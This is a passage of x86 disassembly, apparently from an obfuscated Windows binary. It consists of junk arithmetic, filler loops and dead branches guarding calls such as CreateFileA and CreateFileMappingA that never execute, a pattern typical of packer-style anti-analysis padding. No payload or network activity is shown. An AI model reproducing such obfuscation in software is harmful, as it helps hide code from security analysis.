and dword [ebp - 0xc8c], 0
mov eax, dword [ebp - 0xc8c]
neg eax
mov dword [ebp - 0xb44], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xb44]
mov dword [ebp + eax - 0xb5c], ecx
push 4
pop eax
imul eax, eax, 3
mov ecx, dword [ebp - 0xb44]
mov dword [ebp + eax - 0x3174], ecx
mov eax, dword [ebp - 0x708]
add eax, dword [ebp - 0xb44]
mov dword [ebp - 0x1bd8], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x480]
cmp dword [ebp - 0x1bd8], eax
jle 0x46b924
mov dword [ebp - 0xc94], 1
jmp 0x46b92b
and dword [ebp - 0xc94], 0
mov eax, dword [ebp - 0xc]
cmp dword [ebp - 0xc94], eax
jl 0x46b942
mov dword [ebp - 0x1be0], 1
jmp 0x46b949
and dword [ebp - 0x1be0], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x480]
cmp dword [ebp - 0x1be0], eax
jne 0x46b96a
mov dword [ebp - 0xc9c], 1
jmp 0x46b971
and dword [ebp - 0xc9c], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x480]
cmp dword [ebp - 0xc9c], eax
jg 0x46b99b
cmp dword [ebp - 0xb4c], 0
je 0x46b99b
mov dword [ebp - 0x1be8], 1
jmp 0x46b9a2
and dword [ebp - 0x1be8], 0
cmp dword [ebp - 0x1be8], 9
ja 0x46b9b7
mov dword [ebp - 0xca4], 1
jmp 0x46b9be
and dword [ebp - 0xca4], 0
mov eax, dword [ebp - 0xb4c]
cmp dword [ebp - 0xca4], eax
jle 0x46b9d8
mov dword [ebp - 0x1bf0], 1
jmp 0x46b9df
and dword [ebp - 0x1bf0], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x1bf0]
sub ecx, dword [ebp + eax - 0x480]
mov dword [ebp - 0x2e8], ecx
mov dword [ebp - 0x2e8], 0
jmp 0x46ba11
mov eax, dword [ebp - 0x2e8]
inc eax
mov dword [ebp - 0x2e8], eax
cmp dword [ebp - 0x2e8], 0x13
jg 0x46ba46
mov byte [ebp - 0x297], 0
movzx eax, byte [ebp - 0x297]
test eax, eax
je 0x46ba44
push 0xb8c
push 0
push 0
push 0
push 0x971
push 0
call dword [sym.imp.KERNEL32.dll_GetDateFormatW]
jmp 0x46ba04
jmp 0x46b69b
jmp 0x46b65a
mov dword [ebp - 0xc], 0
jmp 0x46ba60
mov eax, dword [ebp - 0xc]
dec eax
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xfffffff6
jne 0x46bb98
mov dword [ebp - 0x7b4], 0xffff
mov dword [ebp - 0xb54], 0x97e54b53
mov dword [ebp - 0x2e8], 0xfffffff6
mov eax, dword [ebp - 0x7b4]
mov dword [ebp - 0xb54], eax
mov eax, dword [ebp - 0xb54]
cmp dword [ebp - 0x2e8], eax
jne 0x46baae
mov dword [ebp - 0xcac], 1
jmp 0x46bab5
and dword [ebp - 0xcac], 0
mov eax, dword [ebp - 0xcac]
sub eax, dword [ebp - 0x7b4]
cmp eax, dword [ebp - 0x464]
jle 0x46bad5
mov dword [ebp - 0x1bf8], 1
jmp 0x46badc
and dword [ebp - 0x1bf8], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xb5c]
cmp dword [ebp - 0x1bf8], eax
jle 0x46bb0c
cmp dword [ebp - 0x224], 0
jne 0x46bb0c
cmp dword [ebp - 0xb54], 0
jne 0x46bb0c
and dword [ebp - 0xcb4], 0
jmp 0x46bb16
mov dword [ebp - 0xcb4], 1
mov eax, dword [ebp - 0x7b4]
cmp dword [ebp - 0xcb4], eax
jne 0x46bb30
mov dword [ebp - 0x1c00], 1
jmp 0x46bb37
and dword [ebp - 0x1c00], 0
push 4
pop eax
imul eax, eax, 3
mov eax, dword [ebp + eax - 0x3174]
cmp dword [ebp - 0x1c00], eax
jge 0x46bb58
mov dword [ebp - 0xcbc], 1
jmp 0x46bb5f
and dword [ebp - 0xcbc], 0
mov eax, dword [ebp - 0x7b4]
cmp dword [ebp - 0xcbc], eax
jg 0x46bb79
mov dword [ebp - 0x1c08], 1
jmp 0x46bb80
and dword [ebp - 0x1c08], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x1c08]
mov dword [ebp + eax - 0xb5c], ecx
jmp 0x46ba59
mov dword [ebp - 0x81c], 0xf6b
mov dword [ebp - 0x4a0], 0x477862fd
mov dword [ebp - 0xb64], 0x714ad38d
mov dword [ebp - 0x1c10], 0x184dcc8
mov dword [ebp - 0xb6c], 0xfffffffa
mov dword [ebp - 0x5c0], 0xc638299f
mov dword [ebp - 0x232c], 0x4f57b17b
mov dword [ebp - 0x5b8], 0
jmp 0x46bbf7
mov eax, dword [ebp - 0x5b8]
inc eax
mov dword [ebp - 0x5b8], eax
cmp dword [ebp - 0x5b8], 1
jge 0x46bc13
mov eax, dword [ebp - 0x5b8]
mov dword [ebp + eax*4 - 0x2360], 0
jmp 0x46bbea
mov dword [ebp - 0x4a0], 0
jmp 0x46bc2c
mov eax, dword [ebp - 0x4a0]
dec eax
mov dword [ebp - 0x4a0], eax
cmp dword [ebp - 0x4a0], 0xffffffe3
jge 0x46bfa1
mov dword [ebp - 0x2368], 0xf4f823aa
mov dword [ebp - 0x231c], 0x66febfb2
mov dword [ebp - 0x2a48], 0x3dc99cdf
mov dword [ebp - 0x2314], 0
mov dword [ebp - 0x2a50], 0
mov dword [ebp - 0x2a58], 0xc0c8
mov dword [ebp - 0x1c28], 0x9ebe
mov dword [ebp - 0x1c20], 0x67d5b449
mov dword [ebp - 0x1e4], 0
jmp 0x46bca2
mov eax, dword [ebp - 0x1e4]
inc eax
mov dword [ebp - 0x1e4], eax
cmp dword [ebp - 0x1e4], 3
jge 0x46bcbe
mov eax, dword [ebp - 0x1e4]
mov dword [ebp + eax*4 - 0x31c8], 7
jmp 0x46bc95
mov dword [ebp - 0x1e4], 0
jmp 0x46bcd7
mov eax, dword [ebp - 0x1e4]
inc eax
mov dword [ebp - 0x1e4], eax
cmp dword [ebp - 0x1e4], 2
jge 0x46bcf3
mov eax, dword [ebp - 0x1e4]
mov dword [ebp + eax*4 - 0x2b20], 0xffffffff
jmp 0x46bcca
cmp dword [ebp - 0x4a0], 0
je 0x46bd17
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x31c8], 0
je 0x46bd17
mov dword [ebp - 0x230c], 1
jmp 0x46bd1e
and dword [ebp - 0x230c], 0
mov eax, dword [ebp - 0x5c0]
dec eax
mov dword [ebp - 0x5c0], eax
mov eax, dword [ebp - 0x1c28]
sub eax, dword [ebp - 0x2314]
cmp dword [ebp - 0x5c0], eax
jl 0x46bd4b
mov dword [ebp - 0xcc4], 1
jmp 0x46bd52
and dword [ebp - 0xcc4], 0
mov eax, dword [ebp - 0xcc4]
mov dword [ebp - 0xb64], eax
mov eax, dword [ebp - 0xb64]
mov dword [ebp - 0x2a60], eax
mov eax, dword [ebp - 0x1c10]
mov dword [ebp - 0x2a68], eax
mov eax, dword [ebp - 0x231c]
mov dword [ebp - 0x2a70], eax
mov eax, 0x756a3367
cmp eax, 0x93d7f285
jae 0x46bd9a
mov dword [ebp - 0x2324], 1
jmp 0x46bda1
and dword [ebp - 0x2324], 0
mov eax, dword [ebp - 0x4a0]
mov dword [ebp - 0x2a78], eax
mov eax, dword [ebp - 0x232c]
mov dword [ebp - 0x2a80], eax
cmp dword [ebp - 0x1c10], 0
je 0x46bdfe
mov dword [ebp - 0x2358], 0x5c7e4ddb
mov byte [ebp - 0x262], 0
movzx eax, byte [ebp - 0x262]
test eax, eax
je 0x46bdeb
push 0xa4b
push 0
call dword [sym.imp.KERNEL32.dll_EnumSystemLocalesW]
cmp dword [ebp - 0x2358], 0
je 0x46bdf9
jmp 0x46bc1f
jmp 0x46bf82
mov dword [ebp - 0x53c], 0xfffffffa
mov dword [ebp - 0x7bc], 0
jmp 0x46be21
mov eax, dword [ebp - 0x7bc]
inc eax
mov dword [ebp - 0x7bc], eax
cmp dword [ebp - 0x7bc], 2
jge 0x46be3d
mov eax, dword [ebp - 0x7bc]
mov dword [ebp + eax*4 - 0x2b2c], 0xffffffff
jmp 0x46be14
cmp dword [ebp - 0xb6c], 1
jb 0x46be52
mov dword [ebp - 0xccc], 1
jmp 0x46be59
and dword [ebp - 0xccc], 0
mov eax, dword [ebp - 0xb64]
cmp dword [ebp - 0xccc], eax
jle 0x46be73
mov dword [ebp - 0x1c18], 1
jmp 0x46be7a
and dword [ebp - 0x1c18], 0
cmp dword [ebp - 0x1c18], 1
jle 0x46be8f
mov dword [ebp - 0xcd4], 1
jmp 0x46be96
and dword [ebp - 0xcd4], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xcd4]
mov dword [ebp + eax - 0x2360], ecx
mov eax, dword [ebp - 0x2368]
mov dword [ebp - 0x1c20], eax
cmp dword [ebp - 0x1c20], 0
jne 0x46bed0
cmp dword [ebp - 0x53c], 0
jne 0x46bed0
and dword [ebp - 0xcdc], 0
jmp 0x46beda
mov dword [ebp - 0xcdc], 1
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x2b20]
cmp eax, dword [ebp - 0xcdc]
jne 0x46befb
mov dword [ebp - 0x1c30], 1
jmp 0x46bf02
and dword [ebp - 0x1c30], 0
mov eax, dword [ebp - 0x53c]
mov dword [ebp - 0x2a88], eax
cmp dword [ebp - 0x53c], 0
jne 0x46bf29
cmp dword [ebp - 0x1c28], 0
jne 0x46bf29
and dword [ebp - 0xce4], 0
jmp 0x46bf33
mov dword [ebp - 0xce4], 1
mov eax, dword [ebp - 0x53c]
cmp dword [ebp - 0xce4], eax
jl 0x46bf53
cmp dword [ebp - 0x53c], 0
jne 0x46bf53
and dword [ebp - 0xcec], 0
jmp 0x46bf5d
mov dword [ebp - 0xcec], 1
mov eax, dword [ebp - 0x1c30]
mov dword [ebp - 0xb6c], eax
mov eax, dword [ebp - 0xb6c]
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x5c0]
mov dword [ebp + eax - 0x2b2c], ecx
mov byte [ebp - 0x263], 0
movzx eax, byte [ebp - 0x263]
test eax, eax
je 0x46bf9c
push 0
call dword [sym.imp.KERNEL32.dll_SetCommBreak]
jmp 0x46bc1f
mov dword [ebp - 0x2f0], 0xf8cd3bed
mov dword [ebp - 0x7c4], 0
jmp 0x46bfc4
mov eax, dword [ebp - 0x7c4]
inc eax
mov dword [ebp - 0x7c4], eax
cmp dword [ebp - 0x7c4], 3
jge 0x46bfe0
mov eax, dword [ebp - 0x7c4]
mov dword [ebp + eax*4 - 0x25e4], 0xad313dd3
jmp 0x46bfb7
push 4
pop eax
shl eax, 1
mov dword [ebp + eax - 0x25e4], 0
jmp 0x46c00b
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x25e4]
inc eax
push 4
pop ecx
shl ecx, 1
mov dword [ebp + ecx - 0x25e4], eax
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x25e4], 0xf
je 0x46c04e
mov byte [ebp - 0x265], 0
movzx eax, byte [ebp - 0x265]
test eax, eax
je 0x46c04c
push 0
push 0x13d
push 0
push 0x2624
push 0xc67
push 0
push 0xa64
call dword [sym.imp.KERNEL32.dll_FormatMessageW]
jmp 0x46bff2
mov dword [ebp - 0x618], 0
mov dword [ebp - 0xf8], 0xffffffff
mov dword [ebp - 0x1b4], 0xfdb7b241
mov dword [ebp - 0x2390], 0xffffffff
mov dword [ebp - 0x23a0], 0x628d16e9
mov dword [ebp - 0x2a90], 0xffffffff
mov dword [ebp - 0x38], 0
jmp 0x46c09a
mov eax, dword [ebp - 0x38]
inc eax
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 1
jge 0x46c0b0
mov eax, dword [ebp - 0x38]
mov dword [ebp + eax*4 - 0x570], 0xfffffff9
jmp 0x46c093
mov dword [ebp - 0x38], 0
jmp 0x46c0c0
mov eax, dword [ebp - 0x38]
inc eax
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 4
jge 0x46c0d6
mov eax, dword [ebp - 0x38]
mov dword [ebp + eax*4 - 0x2554], 0
jmp 0x46c0b9
mov dword [ebp - 0x38], 0
jmp 0x46c0e6
mov eax, dword [ebp - 0x38]
inc eax
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 1
jge 0x46c0fc
mov eax, dword [ebp - 0x38]
mov dword [ebp + eax*4 - 0x2398], 0
jmp 0x46c0df
mov dword [ebp - 0x38], 0
jmp 0x46c10c
mov eax, dword [ebp - 0x38]
inc eax
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 4
jge 0x46c122
mov eax, dword [ebp - 0x38]
mov dword [ebp + eax*4 - 0x333c], 1
jmp 0x46c105
cmp dword [ebp - 0xf8], 0
jne 0x46c190
cmp dword [ebp - 0xf8], 0x451d
jl 0x46c143
mov dword [ebp - 0x1c38], 1
jmp 0x46c14a
and dword [ebp - 0x1c38], 0
mov eax, dword [ebp - 0xf8]
cmp eax, dword [ebp - 0x1c38]
je 0x46c164
mov dword [ebp - 0x974], 1
jmp 0x46c16b
and dword [ebp - 0x974], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x974]
mov dword [ebp + eax - 0x570], ecx
cmp dword [ebp - 0x974], 0
jne 0x46c190
and dword [ebp - 0xb0c], 0
jmp 0x46c19a
mov dword [ebp - 0xb0c], 1
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0xb0c]
mov dword [ebp + eax - 0x2554], ecx
mov eax, dword [ebp - 0xf8]
cmp dword [ebp - 0xb0c], eax
jg 0x46c1c7
mov dword [ebp - 0xcf4], 1
jmp 0x46c1ce
and dword [ebp - 0xcf4], 0
mov eax, dword [ebp - 0xf8]
cmp dword [ebp - 0xcf4], eax
jl 0x46c1e8
mov dword [ebp - 0x1c40], 1
jmp 0x46c1ef
and dword [ebp - 0x1c40], 0
mov eax, dword [ebp - 0xf8]
cmp dword [ebp - 0x1c40], eax
jg 0x46c209
mov dword [ebp - 0xcfc], 1
jmp 0x46c210
and dword [ebp - 0xcfc], 0
mov eax, dword [ebp - 0x1b4]
cmp dword [ebp - 0xcfc], eax
jg 0x46c22a
mov dword [ebp - 0x1c48], 1
jmp 0x46c231
and dword [ebp - 0x1c48], 0
mov eax, dword [ebp - 0x1b4]
imul eax, dword [ebp - 0x1c48]
cmp eax, dword [ebp - 0xf8]
jne 0x46c252
mov dword [ebp - 0xd04], 1
jmp 0x46c259
and dword [ebp - 0xd04], 0
mov eax, dword [ebp - 0xf8]
mov ecx, dword [ebp - 0xd04]
lea eax, [ecx + eax + 0x45b3]
cmp dword [ebp - 0xf8], eax
jne 0x46c280
mov dword [ebp - 0x1c50], 1
jmp 0x46c287
and dword [ebp - 0x1c50], 0
mov eax, dword [ebp - 0xf8]
imul eax, dword [ebp - 0x1c50]
test eax, eax
je 0x46c2cf
mov byte [ebp - 0x267], 0
movzx eax, byte [ebp - 0x267]
test eax, eax
je 0x46c2ca
push 0
push 0x17e8
push 0x174c
push 0
push 0x135e
push 0x9f9
push 0
call dword [sym.imp.KERNEL32.dll_CreateFileA]
jmp 0x46c661
mov dword [ebp - 0xd2c], 0x31c3
mov dword [ebp - 0x14c], 1
mov dword [ebp - 0xd3c], 0xf61160dd
mov eax, dword [ebp - 0x14c]
mov dword [ebp - 0x2a98], eax
mov eax, dword [ebp - 0x1b4]
cmp dword [ebp - 0x14c], eax
jne 0x46c313
mov dword [ebp - 0xd0c], 1
jmp 0x46c31a
and dword [ebp - 0xd0c], 0
mov eax, dword [ebp - 0xf8]
cmp dword [ebp - 0xd0c], eax
jle 0x46c334
mov dword [ebp - 0x1c58], 1
jmp 0x46c33b
and dword [ebp - 0x1c58], 0
mov eax, dword [ebp - 0x1b4]
cmp dword [ebp - 0x1c58], eax
je 0x46c355
mov dword [ebp - 0xd14], 1
jmp 0x46c35c
and dword [ebp - 0xd14], 0
mov eax, dword [ebp - 0x1b4]
cmp dword [ebp - 0xd14], eax
jg 0x46c376
mov dword [ebp - 0x1c60], 1
jmp 0x46c37d
and dword [ebp - 0x1c60], 0
cmp dword [ebp - 0x1c60], 0x7a54
jge 0x46c395
mov dword [ebp - 0xd1c], 1
jmp 0x46c39c
and dword [ebp - 0xd1c], 0
mov eax, dword [ebp - 0xd1c]
inc eax
je 0x46c3ba
cmp dword [ebp - 0x14c], 0
je 0x46c3ba
mov dword [ebp - 0x2370], 1
jmp 0x46c3c1
and dword [ebp - 0x2370], 0
mov eax, dword [ebp - 0x14c]
mov dword [ebp - 0x1c68], eax
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x1c68]
mov dword [ebp + eax - 0x2554], ecx
mov eax, dword [ebp - 0x14c]
cmp eax, dword [ebp - 0x1c68]
jl 0x46c3fa
mov dword [ebp - 0xd24], 1
jmp 0x46c401
and dword [ebp - 0xd24], 0
mov eax, dword [ebp - 0xd24]
add eax, 9
imul eax, eax, 0xc418
cmp eax, 0x84725324
ja 0x46c423
mov dword [ebp - 0x1c70], 1
jmp 0x46c42a
and dword [ebp - 0x1c70], 0
cmp dword [ebp - 0x1c70], 0xc4e7
jle 0x46c442
mov dword [ebp - 0x2378], 1
jmp 0x46c449
and dword [ebp - 0x2378], 0
mov eax, dword [ebp - 0x1b4]
mov dword [ebp - 0x2aa0], eax
mov eax, dword [ebp - 0x14c]
add eax, dword [ebp - 0x14c]
cmp eax, 0x219ff40b
je 0x46c474
mov dword [ebp - 0x1c78], 1
jmp 0x46c47b
and dword [ebp - 0x1c78], 0
mov dword [ebp - 0xd2c], 0x7245
mov eax, dword [ebp - 0xd2c]
cmp eax, dword [ebp - 0x1c78]
jge 0x46c49f
mov dword [ebp - 0xd34], 1
jmp 0x46c4a6
and dword [ebp - 0xd34], 0
mov eax, dword [ebp - 0xd34]
mov dword [ebp - 0x14c], eax
mov eax, dword [ebp - 0x14c]
mov dword [ebp - 0x2380], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x2380]
mov dword [ebp + eax - 0x570], ecx
mov eax, dword [ebp - 0x1b4]
mov dword [ebp - 0x2aa8], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x1b4]
cmp dword [ebp + eax - 0x2554], ecx
je 0x46c4fe
mov dword [ebp - 0x1c80], 1
jmp 0x46c505
and dword [ebp - 0x1c80], 0
mov eax, dword [ebp - 0x1c80]
mov dword [ebp - 0xd3c], eax
push 4
pop eax
imul eax, eax, 3
cmp dword [ebp + eax - 0x2554], 0
jb 0x46c52d
mov dword [ebp - 0x97c], 1
jmp 0x46c534
and dword [ebp - 0x97c], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x97c]
mov dword [ebp + eax - 0x2554], ecx
mov eax, dword [ebp - 0xd3c]
cmp dword [ebp - 0x97c], eax
jne 0x46c561
mov dword [ebp - 0x1c88], 1
jmp 0x46c568
and dword [ebp - 0x1c88], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x570]
cmp eax, dword [ebp - 0x1c88]
jge 0x46c589
mov dword [ebp - 0xd44], 1
jmp 0x46c590
and dword [ebp - 0xd44], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x570]
cmp dword [ebp - 0xd44], eax
jl 0x46c5b1
mov dword [ebp - 0x2388], 1
jmp 0x46c5b8
and dword [ebp - 0x2388], 0
mov eax, dword [ebp - 0x1b4]
mov dword [ebp - 0x2ab0], eax
mov eax, dword [ebp - 0x2390]
mov dword [ebp - 0x2ab8], eax
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x570], 0x87e3
mov eax, 0xffff
sub eax, 0x87e3
cmp eax, 1
jl 0x46c5fc
mov dword [ebp - 0x1c90], 1
jmp 0x46c603
and dword [ebp - 0x1c90], 0
cmp dword [ebp - 0x1c90], 0xfffffffe
jle 0x46c625
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x2554], 0
jne 0x46c625
and dword [ebp - 0x5c8], 0
jmp 0x46c62f
mov dword [ebp - 0x5c8], 1
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x5c8]
mov dword [ebp + eax - 0x2398], ecx
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x5c8]
mov dword [ebp + eax - 0x333c], ecx
mov eax, dword [ebp - 0x5c8]
mov dword [ebp - 0x23a0], eax
mov dword [ebp - 0x994], 0xb370cc32
mov dword [ebp - 0x7cc], 0
jmp 0x46c684
mov eax, dword [ebp - 0x7cc]
inc eax
mov dword [ebp - 0x7cc], eax
cmp dword [ebp - 0x7cc], 2
jge 0x46c6a0
mov eax, dword [ebp - 0x7cc]
mov dword [ebp + eax*4 - 0x32ac], 0xd5e4
jmp 0x46c677
mov byte [ebp - 0x269], 0
movzx eax, byte [ebp - 0x269]
test eax, eax
je 0x46c6ba
push 0
call dword [sym.imp.KERNEL32.dll_InitializeSListHead]
mov byte [ebp - 0x26b], 0
movzx eax, byte [ebp - 0x26b]
test eax, eax
je 0x46c6d9
push 0x1b47
push 0
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSectionAndSpinCount]
mov dword [ebp - 0xe0], 0xffffffff
mov dword [ebp - 0xa7c], 1
mov dword [ebp - 0xd4c], 0xffffffff
mov dword [ebp - 0x3cc], 1
mov dword [ebp - 0x7d4], 0xffffffff
mov dword [ebp - 0x23b0], 0xfffffffe
mov dword [ebp - 0x5d0], 0
jmp 0x46c72e
mov eax, dword [ebp - 0x5d0]
inc eax
mov dword [ebp - 0x5d0], eax
cmp dword [ebp - 0x5d0], 3
jge 0x46c74a
mov eax, dword [ebp - 0x5d0]
mov dword [ebp + eax*4 - 0x2408], 0xdacd7d39
jmp 0x46c721
mov eax, dword [ebp - 0xe0]
mov dword [ebp - 0x2ac0], eax
mov eax, dword [ebp - 0xe0]
mov dword [ebp - 0x2ac8], eax
mov eax, dword [ebp - 0xe0]
mov dword [ebp - 0x2ad0], eax
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x2408]
cmp dword [ebp - 0xe0], eax
jl 0x46c78f
mov dword [ebp - 0x23a8], 1
jmp 0x46c796
and dword [ebp - 0x23a8], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x2408]
mov dword [ebp - 0x2ad8], eax
xor eax, eax
add eax, 0x7779a7b5
mov dword [ebp - 0xd4c], eax
mov eax, dword [ebp - 0xd4c]
inc eax
mov dword [ebp - 0x3cc], eax
mov eax, dword [ebp - 0xe0]
cmp dword [ebp - 0x3cc], eax
je 0x46c7dd
mov dword [ebp - 0x1c98], 1
jmp 0x46c7e4
and dword [ebp - 0x1c98], 0
mov eax, dword [ebp - 0xe0]
mov dword [ebp - 0xa7c], eax
mov eax, dword [ebp - 0xa7c]
cmp eax, dword [ebp - 0x1c98]
jg 0x46c80a
mov dword [ebp - 0xd54], 1
jmp 0x46c811
and dword [ebp - 0xd54], 0
mov eax, dword [ebp - 0xe0]
cmp eax, dword [ebp - 0xd54]
jne 0x46c838
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x2408], 0
jne 0x46c838
and dword [ebp - 0x1ca0], 0
jmp 0x46c842
mov dword [ebp - 0x1ca0], 1
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x2408]
cmp dword [ebp - 0x1ca0], eax
je 0x46c86c
mov eax, 0xfffa
test eax, eax
je 0x46c86c
mov dword [ebp - 0xd5c], 1
jmp 0x46c873
and dword [ebp - 0xd5c], 0
mov eax, dword [ebp - 0xd5c]
mov dword [ebp - 0x7d4], eax
cmp dword [ebp - 0x7d4], 0
jne 0x46c8a1
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x2408], 0
jne 0x46c8a1
and dword [ebp - 0x1ca8], 0
jmp 0x46c8ab
mov dword [ebp - 0x1ca8], 1
cmp dword [ebp - 0x1ca8], 1
je 0x46c8c0
mov dword [ebp - 0xd64], 1
jmp 0x46c8c7
and dword [ebp - 0xd64], 0
mov eax, dword [ebp - 0xd64]
mov dword [ebp - 0x23b0], eax
mov dword [ebp - 0xe0], 0
jmp 0x46c8ec
mov eax, dword [ebp - 0xe0]
inc eax
mov dword [ebp - 0xe0], eax
cmp dword [ebp - 0xe0], 7
jne 0x46c941
mov dword [ebp - 0x23b8], 0x87b3
mov eax, dword [ebp - 0xa7c]
sub eax, dword [ebp - 0x7d4]
mov dword [ebp - 0x7d4], eax
mov dword [ebp - 0x3cc], 0
jmp 0x46c92a
mov eax, dword [ebp - 0x3cc]
inc eax
mov dword [ebp - 0x3cc], eax
cmp dword [ebp - 0x3cc], 2
jg 0x46c93f
mov dword [ebp - 0x23b8], 0x85fafe44
jmp 0x46c91d
jmp 0x46c8df
mov dword [ebp - 0x7dc], 0
mov dword [ebp - 0x5d8], 0
jmp 0x46c964
mov eax, dword [ebp - 0x5d8]
inc eax
mov dword [ebp - 0x5d8], eax
cmp dword [ebp - 0x5d8], 1
jge 0x46c980
mov eax, dword [ebp - 0x5d8]
mov dword [ebp + eax*4 - 0x1cb0], 0x3638
jmp 0x46c957
mov dword [ebp - 0x7dc], 0xffffffe9
jmp 0x46c999
mov eax, dword [ebp - 0x7dc]
inc eax
mov dword [ebp - 0x7dc], eax
cmp dword [ebp - 0x7dc], 0xffffffea
jne 0x46cac2
mov dword [ebp - 0x130], 1
mov dword [ebp - 0x560], 0x1a9565e0
mov dword [ebp - 0x130], 0
jmp 0x46c9d3
mov eax, dword [ebp - 0x130]
inc eax
mov dword [ebp - 0x130], eax
cmp dword [ebp - 0x130], 0
jg 0x46c9e8
mov dword [ebp - 0x560], 0xffffffff
jmp 0x46c9c6
mov dword [ebp - 0x130], 0
jmp 0x46ca01
mov eax, dword [ebp - 0x130]
dec eax
mov dword [ebp - 0x130], eax
cmp dword [ebp - 0x130], 0xffffffff
jl 0x46cabd
cmp dword [ebp - 0x130], 0
je 0x46ca1c
jmp 0x46cabd
mov dword [ebp - 0x560], 0
jmp 0x46ca35
mov eax, dword [ebp - 0x560]
dec eax
mov dword [ebp - 0x560], eax
cmp dword [ebp - 0x560], 0
jl 0x46cab8
mov dword [ebp - 0x434], 0xa7084bc9
mov dword [ebp - 0x434], 0
jmp 0x46ca61
mov eax, dword [ebp - 0x434]
dec eax
mov dword [ebp - 0x434], eax
cmp dword [ebp - 0x434], 0
jl 0x46cab3
mov byte [ebp - 0x26d], 0
movzx eax, byte [ebp - 0x26d]
test eax, eax
je 0x46ca97
push 0
push 0x2558
push 0x8ff
push 0x225a
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov eax, dword [ebp - 0x434]
mov ecx, dword [ebp - 0x434]
mov eax, dword [ebp + eax*4 - 0x1cb0]
mov dword [ebp + ecx*4 - 0x1cb0], eax
jmp 0x46ca54
jmp 0x46ca28
jmp 0x46c9f4
jmp 0x46c98c
mov dword [ebp - 0x154], 0
jmp 0x46cadb
mov eax, dword [ebp - 0x154]
inc eax
mov dword [ebp - 0x154], eax
cmp dword [ebp - 0x154], 3
jge 0x46caf7
mov eax, dword [ebp - 0x154]
mov dword [ebp + eax*4 - 0x2590], 0xfffffffb
jmp 0x46cace
mov dword [ebp - 0x490], 1
mov dword [ebp - 0x3dc], 0xffffffff
mov dword [ebp - 0x60], 0
jmp 0x46cb1b
mov eax, dword [ebp - 0x60]
inc eax
mov dword [ebp - 0x60], eax
cmp dword [ebp - 0x60], 2
jge 0x46cb31
mov eax, dword [ebp - 0x60]
mov dword [ebp + eax*4 - 0x2338], 0xecba2afe
jmp 0x46cb14
mov dword [ebp - 0x60], 0
jmp 0x46cb41
mov eax, dword [ebp - 0x60]
inc eax
mov dword [ebp - 0x60], eax
cmp dword [ebp - 0x60], 3
jge 0x46cb57
mov eax, dword [ebp - 0x60]
mov dword [ebp + eax*4 - 0x1f84], 0xcb24
jmp 0x46cb3a
mov dword [ebp - 0x60], 0
jmp 0x46cb67
mov eax, dword [ebp - 0x60]
inc eax
mov dword [ebp - 0x60], eax
cmp dword [ebp - 0x60], 3
jge 0x46cb7d
mov eax, dword [ebp - 0x60]
mov dword [ebp + eax*4 - 0x2734], 0xffffffff
jmp 0x46cb60
mov dword [ebp - 0x490], 0
jmp 0x46cb96
mov eax, dword [ebp - 0x490]
inc eax
mov dword [ebp - 0x490], eax
cmp dword [ebp - 0x490], 0x19
jl 0x46d108
mov dword [ebp - 0xb0], 0x8adae8c9
mov dword [ebp - 0x3d4], 0xfffffffd
mov dword [ebp - 0x5f0], 1
mov dword [ebp - 0x7e4], 8
mov dword [ebp - 0xb0], 0
jmp 0x46cbe4
mov eax, dword [ebp - 0xb0]
inc eax
mov dword [ebp - 0xb0], eax
cmp dword [ebp - 0xb0], 1
jg 0x46cc7c
mov dword [ebp - 0x5e0], 0
jmp 0x46cc0a
mov eax, dword [ebp - 0x5e0]
inc eax
mov dword [ebp - 0x5e0], eax
cmp dword [ebp - 0x5e0], 2
jge 0x46cc26
mov eax, dword [ebp - 0x5e0]
mov dword [ebp + eax*4 - 0x1f64], 0xfffffffb
jmp 0x46cbfd
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x1f64], 1
jmp 0x46cc54
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x1f64]
dec eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x1f64], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x1f64], 0
jl 0x46cc77
push 4
pop eax
imul eax, eax, 0
